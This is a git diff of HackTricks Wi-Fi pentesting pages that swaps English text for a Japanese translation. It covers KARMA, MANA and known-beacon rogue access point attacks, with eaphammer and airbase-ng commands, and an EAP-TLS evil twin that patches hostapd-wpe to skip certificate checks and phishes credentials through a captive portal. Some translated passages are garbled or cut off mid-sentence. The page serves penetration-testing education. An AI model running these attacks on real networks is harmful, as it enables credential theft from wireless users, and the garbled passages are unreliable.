ESSID and MAC black/whitelists +### ESSIDおよびMACのブラック/ホワイトリスト -The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used: +次の表は、使用されるときの効果を含むさまざまなタイプのMFACL(管理フレームアクセス制御リスト)とその効果をリストアップしています: ![](<../../.gitbook/assets/image (149).png>) - ``` # example EAPHammer MFACL file, wildcards can be used 78:f0:97:fc:b5:36 @@ -731,71 +749,62 @@ pears [--ssid-whitelist /path/to/mac/whitelist/file.txt] [--ssid-blacklist /path/to/mac/blacklist/file.txt] ``` - ### KARMA -Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker. +Karma攻撃は、ステーションが使用するネットワーク選択プロセスを悪用するローグアクセスポイント攻撃の一種です。2005年にDino Dai ZoviとShane Macaulayが執筆したホワイトペーパーで、攻撃者がアクセスポイントを設定して、指向性プローブリクエストを受信し、それに一致する指向性プローブレスポンスで応答することができると説明しています。これにより、影響を受けるステーションは自動的に攻撃者のアクセスポイントに関連付けリクエストを送信します。アクセスポイントは関連付けレスポンスで応答し、影響を受けるステーションは攻撃者に接続されます。 ### MANA -According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device. +Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストに既に応答していないアクセスポイントからの指向性プローブレスポンスを無視することで、karma攻撃から自己保護するように設計されています。これにより、karma攻撃の脆弱性があるステーションの数は大幅に減少しました。しかし、2015年にWhiteとde Villiersは、そのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたkarma攻撃(MANA攻撃)では、指向性プローブレスポンスを使用して近くのステーションのPNL(Preferred Network List)を再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスのPNLに既に存在する指向性プローブからの任意のSSIDで応答します。 -In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL. - -MANA attack using eaphammer: +要約すると、MANAアルゴリズムは次のように機能します。アクセスポイントがプローブリクエストを受信するたびに、まずブロードキャストまたは指向性プローブかどうかを判断します。指向性プローブの場合、送信元のMACアドレスがハッシュテーブルに追加されます(まだ存在しない場合)し、ESSIDがそのデバイスのPNLに追加されます。その後、アクセスポイントは指向性プローブレスポンスで応答します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNL内の各ネットワークに対してプローブレスポンスで応答します。 +eaphammerを使用したMANA攻撃: ``` ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` +### ラウドMANA -### Loud MANA +標準のMANA攻撃では、直接のプローブを使用しないデバイスを攻撃することはできません。したがって、デバイスのPNL内に事前にエントリがない場合、攻撃するための別の方法を見つける必要があります。 -Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it. - -A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs. - -In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices. +可能性としては、ラウドMANA攻撃があります。この攻撃は、物理的に近接しているクライアントデバイスは、少なくともいくつかの共通のエントリをPNLに持っている可能性があるという考えに基づいています。 +要約すると、ラウドMANA攻撃では、ローグAPは特定のデバイスのPNL内の各ESSIDに応答する代わりに、以前に見たすべてのデバイスのすべてのPNLの各ESSIDに対してプローブ応答を送信します。集合論に関連して言えば、APは近くのデバイスのすべてのPNLの和集合内の各ESSIDに対してプローブ応答を送信すると言えます。 ``` ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` +### 既知のビーコン攻撃 -### Known Beacon attack - -There are still cases in which Loud MANA attack won’t succeed.\ -The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP.\ -Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with `--loud` to create a Loud MANA + Known beacons attack): - +Loud MANA攻撃が成功しない場合もあります。\ +既知のビーコン攻撃は、被害者が攻撃者に接続するようにするために、ESSIDを「ブルートフォース」する方法です。攻撃者は、任意のESSIDに応答するAPを作成し、ワードリスト内の各名前のESSIDを偽装したビーコンを送信するコードを実行します。被害者のPNLにこれらのESSID名のいくつかが含まれていることを願って、被害者は偽のAPに接続しようとします。\ +Eaphammerは、この攻撃をMANA攻撃として実装しました。リスト内のすべてのESSIDが読み込まれます(`--loud`と組み合わせてLoud MANA + 既知のビーコン攻撃を作成することもできます)。 ``` ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ``` +**既知のビーコンバースト攻撃** -**Known Beacon Burst attack** - -As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP. - +既知のビーコンは騒々しいです。Eaphammerプロジェクト内のスクリプトを使用して、ファイル内のすべてのESSID名のビーコンを非常に迅速に発信することができます。このスクリプトをEaphammer MANA攻撃と組み合わせると、クライアントはあなたのAPに接続することができます。 ``` # transmit a burst of 5 forged beacon packets for each entry in list ./forge-beacons -i wlan1 \ - --bssid de:ad:be:ef:13:37 \ - --known-essids-file known-s.txt \ - --dst-addr 11:22:33:11:22:33 \ - --burst-count 5 +--bssid de:ad:be:ef:13:37 \ +--known-essids-file known-s.txt \ +--dst-addr 11:22:33:11:22:33 \ +--burst-count 5 ``` +## Wi-Fi Direct(Wi-Fiダイレクト) -## Wi-Fi Direct +Wi-Fi Directは、ワイヤレスAPなしでデバイス同士を接続するためのWi-Fi標準です。2つのデバイスのうちの1つがAP(グループオーナーと呼ばれる)として機能します。プリンターやテレビなど、多くのIoTデバイスでWi-Fi Directを利用することができます。 -Wi-Fi Direct is a Wi-Fi standard that allows devices to connect to each other without a wireless AP as one of the two devices will act as AP (called group owner). You can find Wi-Fi Direct in a lot of IoT devices like printers, TVs... +Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup(WPS)を利用しています。WPSには、**Push-Button** Configuration(PBC)、**PIN entry**、**Near-Field** Communication(NFC)など、複数の設定方法があります。 -Wi-Fi Direct relies on Wi-Fi Protected Setup (**WPS**) to securely connect the devices. WPS has multiple configuration methods such as **Push-Button** Configuration (PBC), **PIN entry**, and **Near-Field** Communication (NFC) +したがって、WPS PINに対する以前に見られた攻撃は、ここでも有効です。 -So the attacks previously seen to WPS PIN are also valid here if PIN is used. +### EvilDirectハイジャッキング -### EvilDirect Hijacking +これはEvil-Twinのように機能しますが、Wi-Fi Direct用です。グループオーナーをなりすまして、他のデバイス(例:電話)が自分に接続するようにすることができます:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` -This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group owner to try to make other devices like phons connect to you: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` - -## References +## 参考文献 * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) @@ -806,26 +815,26 @@ This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group o * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) -TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals) +TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)を確認する(FacebookでのログインとキャプティブポータルでのWPAの模倣)
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **して、web3のバグについてもっと学びましょう** -🐞 Read web3 bug tutorials +🐞 web3のバグチュートリアルを読む -🔔 Get notified about new bug bounties +🔔 新しいバグバウンティについて通知を受ける -💬 Participate in community discussions +💬 コミュニティディスカッションに参加する
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md index dfb834d73..fcf81bb7b 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md +++ b/generic-methodologies-and-resources/pentesting-wifi/evil-twin-eap-tls.md @@ -4,148 +4,119 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください、これはハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -At some point I needed to use the proposed solution by the post bellow but the steps in [https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe) wasn't working in modern kali (2019v3) anymore.\ -Anyway, it's easy to make them work.\ -You only need to download the hostapd-2.6 from here: [https://w1.fi/releases/](https://w1.fi/releases/) and before compiling again hostapd-wpe install: `apt-get install libssl1.0-dev` +ある時点で、私は以下の投稿で提案された解決策を使用する必要がありましたが、[https://github.com/OpenSecurityResearch/hostapd-wpe](https://github.com/OpenSecurityResearch/hostapd-wpe)の手順は最新のkali(2019v3)では機能しなくなっていました。\ +とにかく、それらを動作させるのは簡単です。\ +ここからhostapd-2.6をダウンロードするだけです:[https://w1.fi/releases/](https://w1.fi/releases/)、そしてhostapd-wpeを再コンパイルする前に`apt-get install libssl1.0-dev`をインストールしてください。 -## Evil Twin for EAP-TLS +## EAP-TLSのEvil Twin -**This post was copied from** [**https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/**](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/) +**この投稿は**[**https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/**](https://versprite.com/blog/application-security/eap-tls-wireless-infrastructure/)からコピーされました。 -### The Uncommon Case: Attacking EAP-TLS +### 珍しいケース:EAP-TLSの攻撃 -Earlier I mentioned a less common wireless network configuration that we had to deal with during this project. This scheme is based on EAP-TLS, where the supplicant will have to present a valid client certificate to the authentication server before being granted access to the network. +前述のように、このプロジェクトで取り組まなければならなかった一般的でないワイヤレスネットワークの構成について触れました。このスキームはEAP-TLSに基づいており、サプリカントはネットワークへのアクセスを許可される前に有効なクライアント証明書を認証サーバーに提出する必要があります。 -In this scenario, the secure TLS channel will only be created if the mutual authentication process goes well. In other words, if the supplicant first accepts the certificate of the authentication server and then the authentication server accepts the certificate of the supplicant. +このシナリオでは、相互認証プロセスがうまくいけば、安全なTLSチャネルが作成されます。言い換えれば、サプリカントがまず認証サーバーの証明書を受け入れ、次に認証サーバーがサプリカントの証明書を受け入れる場合にのみ、セキュアなTLSチャネルが作成されます。 -During the assessment, we were surprised by an error message obtained when using hostapd-wpe in our attacking machine: +評価中に、私たちは攻撃マシンでhostapd-wpeを使用した際に得られたエラーメッセージに驚かされました: -![hostapd-wpe error](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.32-PM.png) +![hostapd-wpeエラー](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.32-PM.png) -As you can see in the error message, our tool is triggering an error message indicating it did not accept the certificate of the Wireless client because it is signed by an unknown CA. Hilarious, right? Our attacking tool is denying access to the victim because the user is not providing valid credentials. 🙂 +エラーメッセージでわかるように、私たちのツールは、ワイヤレスクライアントの証明書を受け入れなかったため、ユーザーが有効な資格情報を提供していない場合にアクセスを拒否しています。 🙂 +ユーザーが有効な資格情報を提供していないため、私たちの攻撃ツールが被害者のアクセスを拒否しているということです。 -So, judging by the output of the tool, we can see that the negotiation reached the point where the client certificate was indeed presented to the fake Radius server, which means that the fake certificate forged by the attacker was accepted by the victim. +ツールの出力に基づいて判断すると、交渉がクライアント証明書が偽のRadiusサーバーに実際に提出された段階に達したことがわかります。これは、攻撃者によって偽造された証明書が被害者によって受け入れられたことを意味します。 -This means that the supplicant configuration was too lax, and it was accepting any certificate from the radius server. +これは、サプリカントの設定が緩すぎて、半径サーバーからの任意の証明書を受け入れていたことを意味します。 -After seeing this error and searching the Web, we realized it was not that common to exploit this scenario -judging by the lack of information on blogs related to this matter – and that we had to deal with it somehow. +このエラーを見て、Webを検索した後、このシナリオを悪用することはそれほど一般的ではないことに気付きました-この問題に関連するブログの情報が不足していることから判断します-そして、なんとかそれに対処する必要があることに気付きました。 -### [MiTM Attack – Defining the Objective](https://versprite.com/tag/mitm/) +### MiTM攻撃-目標の定義 -As you might have guessed already, the idea here is to tweak our tool to make it accept any certificate provided by occasional supplicants to let the victim establish a full connection with our malicious Wireless infrastructure and then [perform a man-in-the-middle attack](https://versprite.com/tag/mitm/) between the victim and the Internet, showing a captive portal to capture plaintext credentials as a first step. +おそらくすでに推測しているように、ここでのアイデアは、私たちのツールを調整して、たまにサプリカントが提供する任意の証明書を受け入れるようにすることです。これにより、被害者が悪意のあるワイヤレスインフラストラクチャと完全な接続を確立し、その後、最初のステップとして平文の資格情報をキャプチャするためにキャプティブポータルを表示して、被害者とインターネットの間で[中間者攻撃](https://versprite.com/tag/mitm/)を実行します。 -Note: Of course, when the MiTM attack is fully functional, you can redirect all of the victim’s traffic to your host to capture NetNTLM hashes, for example. We also walkthrough a similar attack in the following post: [MiTM Attack Between Target Windows Machines and a DNS Server](https://versprite.com/blog/mitm-dns-spoofing/). - -In both scenarios, we first need to understand where the certificate control is being performed by hostapd-wpe and then modify it accordingly to prevent it from rejecting the invalid or unknown client certificates. - -After a quick analysis of the source code, we found the following: - -**Original Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls.c** - -![eap\_server\_tls\_ssl\_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.20.41-PM.png) - -As you can see in the code above (line 80), the EAP TLS server implementation on hostapd invokes a custom function named eap\_server\_tls\_ssl\_init to initialize the server, and the third parameter is set to 1. - -**Original Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls\_common.c** - -![tls\_connection\_set\_verify-1](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.27.49-PM.png) - -![tls\_connection\_set\_verify-2](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.28.02-PM.png) - -In the code above (lines from 78 to 80), we can observe the invocation of the function `tls_connection_set_verify` with the parameter `verify_peer` set to 1 (this was received from the `eap_tls_init function`). - -**Original Source Code File: hostapd-2.6/src/crypto/tls\_openssl.c** +注意:もちろん、MiTM攻撃が完全に機能すると、例えば、すべての被害者のトラフィックをホストにリダイレクトしてNetNTLMハッシュをキャプチャすることができます。私たちはまた、次の投稿で同様の攻撃を詳しく説明します:[ターゲットWindowsマシンとDNSサーバー間のMiTM攻撃](https://versprite.com/blog/mitm-dns-spoofing/)。 +どちらのシナリオでも、まずhostapd-wpeによって ![verify\_peer](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.32.53-PM.png) -On the code above (from line 2307 to 2309), we can observe that the parameter `verify_peer` (originally set to 1) will be eventually used as a parameter of the OpenSSL function SSL\_set\_verify to make it validate the client certificate or not when the library is working as a server. By modifying the original line to 0, we can change the behavior of the tool and make it ignore whether the client certificate is valid or not. +上記のコード(2307行から2309行)では、パラメータ`verify_peer`(元々1に設定されている)が、OpenSSL関数SSL\_set\_verifyのパラメータとして使用され、ライブラリがサーバーとして動作する際にクライアント証明書の妥当性を検証するかどうかを決定します。元の行を0に変更することで、ツールの動作を変更し、クライアント証明書が有効かどうかを無視することができます。 -**Modified Source Code File: hostapd-2.6/src/eap\_server/eap\_server\_tls.c** +**修正されたソースコードファイル:hostapd-2.6/src/eap\_server/eap\_server\_tls.c** ![eap\_tls\_init](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.01-PM.png) -After patching the source code of hostapd-wpe and recompiling, we tried the attack again and got the following output: +hostapd-wpeのソースコードをパッチし、再コンパイルした後、攻撃を再試行し、次の出力を得ました: -![patching hostapd-wpe](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.54-PM.png) +![hostapd-wpeのパッチ](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.34.54-PM.png) -By observing the output of our modified version of hostapd-wpe, we can see that the error message is not there anymore, and the client appears to be connected to our fake AP. Now, we should build the adequate infrastructure to present a captive portal to the victim and attempt a phishing attack. +修正したバージョンのhostapd-wpeの出力を観察することで、エラーメッセージがもはや表示されず、クライアントが偽のAPに接続されているように見えることがわかります。これで、被害者にキャプティブポータルを提示し、フィッシング攻撃を試みるために適切なインフラストラクチャを構築する必要があります。 -To quickly leverage it, we decided to take the portion of the code from Wifiphisher and adapt it for our particular needs, creating a rudimentary captive portal in Python. A link to the code for this Proof-of-Concept can be found on the references. +これを迅速に活用するために、Wifiphisherのコードの一部を取り出し、特定のニーズに合わせて適応させ、Pythonで簡素なキャプティブポータルを作成しました。このProof-of-Conceptのコードへのリンクは参考文献にあります。 -Now that we have all the elements, let’s perform the attack against a victim and see how all this would be from an attacker perspective: +すべての要素を揃えたので、被害者に対して攻撃を行い、攻撃者の視点からどのようになるかを見てみましょう: -#### 1. Let’s check the environment with airodump-ng +#### 1. airodump-ngで環境をチェックしましょう ![airodump-ng](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.35.48-PM.png) -From the output, we can identify the access point BSSID (F4:EC:38:FA:E7:57) to which our victim (00:0F:60:07:95:D7) is connected to the WPA2-enterprise network named “enterprise” (ESSID). +出力から、被害者(00:0F:60:07:95:D7)が接続しているWPA2-Enterpriseネットワーク「enterprise」(ESSID)に対してアクセスポイントのBSSID(F4:EC:38:FA:E7:57)を特定することができます。 -#### 2. Run the modified hostapd-wpe tool to create a fake AP for the target network +#### 2. 攻撃対象ネットワークのために修正されたhostapd-wpeツールを実行して、偽のAPを作成しましょう ![modified modified hostapd-wpe](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.36.29-PM.png) -#### 3. Customize the captive portal template (e.g. HTML login) to make it familiar for your target audience (victims) and run it +#### 3. キャプティブポータルのテンプレート(例:HTMLログイン)をカスタマイズして、ターゲットの対象者(被害者)にとって馴染みやすくし、実行しましょう -![Customize the captive portal](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.02-PM.png) +![キャプティブポータルのカスタマイズ](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.02-PM.png) -#### 4. Perform a de-auth attack and assume the risk (if you are impatient) +#### 4. ディアス攻撃を実行し、リスクを引き受けましょう(もしも我慢できるなら) -![de-auth attack](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.36-PM.png) +![ディアス攻撃](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.37.36-PM.png) -As a result, we will see on the modified hostapd-wpe tool’s output the following messages: +その結果、修正されたhostapd-wpeツールの出力には、次のメッセージが表示されます: -![victim connected](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.09-PM.png) +![被害者が接続された](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.09-PM.png) -This suggests a victim (00:0f:60:07:95:d7) has connected to our fake AP. +これは、被害者(00:0f:60:07:95:d7)が偽のAPに接続したことを示しています。 -On the victim’s Windows host, we observe it automatically connected to the fake AP, and as soon as web navigation is tried, the user is presented the captive portal: +被害者のWindowsホストでは、自動的に偽のAPに接続され、Webブラウジングが試みられると、ユーザーにキャプティブポータルが表示されます: -![captive portal credentials](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.54-PM.png) +![キャプティブポータルの資格情報](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.38.54-PM.png) -After the victim has entered her credentials, we can see the output on the captive portal’s console: +被害者が資格情報を入力した後、キャプティブポータルのコンソール上に出力が表示されます: -![captive portal console](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.01-PM.png) +![キャプティブポータルのコンソール](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.01-PM.png) -The following screenshot shows the message shown to the victim when performing the attack to an iPhone device connected to a WPA2 network, requesting the victim to accept the certificate: +次のスクリーンショットは、WPA2ネットワークに接続されたiPhoneデバイスに対して攻撃を実行し、被害者に証明書の受け入れを求めるメッセージが表示される様子を示しています: -![accept certificate](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.11-PM.png) +![証明書の受け入れ](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.11-PM.png) -The following screenshot shows the captive portal presented to the iPhone device: +次のスクリーンショットは、iPhoneデバイスに表示されるキャプティブポータルを示しています: -![iphone credentials](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.19-PM.png) +![iPhoneの資格情報](https://versprite.com/wp-content/uploads/2017/05/Screen-Shot-2019-05-31-at-2.39.19-PM.png) -Note: The Captive Portal HTML template drafted for this demo is just a Proof-of-Concept sample, and I encourage you to develop your own, including HTML tags searching for files on the network that allows you to capture NetNTLM hashes (if the victim is using Internet Explorer), as long as others more sophisticated that requires the user to download a binary on the computer to scan for issues before allowing access to the network. +注意:このデモ用に作成されたキャプティブポータルのHTMLテンプレートは、Proof-of-Conceptのサンプルに過ぎません。Internet Explorerを使用している場合にNetNTLMハッシュをキャプチャするためのネットワーク上のファイルを検索するHTMLタグを含むものや、ネットワークへのアクセスを許可する前に問題をスキャンするためにコンピュータにバイナリをダウンロードする必要があるようなより洗練されたものなど、独自のキャプティブポータルを開発することをお勧めします。 -Although we can read different online articles stating that EAP-TLS is the most secure implementation for Wireless infrastructures, it is not used by most companies due to its scalability problems: the complexity of creating, delivering, configuring, and revoking a unique certificate per user. +EAP-TLSはワイヤレスインフラストラクチャの最も安全な実装であるとするさまざまなオンライン記事を読むことができますが、ユーザーごとに一意の証明書を作成、配信、設定、取り消すというスケーラビリティの問題のため、ほとんどの企業では使用されていません。 -The whole security of this scheme relies, again, on the weakest link in the chain, which might be a device or host configured to accept any certificate presented by the authentication server or a mobile device used by an unconscious user that accepts it without considering the risk of this action. +このスキームの全体のセキュリティは、再び、チェーンの最も弱いリンクに依存しています。これは、認証サーバーが提供する証明書を受け入れるように構成されたデバイスやユーザーがリスクを考慮せずに受け入れるモバイルデバイスなどです。 \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**:ハッカーによって作成されたプレミアムな**バグバウンティプラットフォームIntigriti**に**登録**しましょう!今すぐ[**https://go.intigriti.com/hacktricks +* 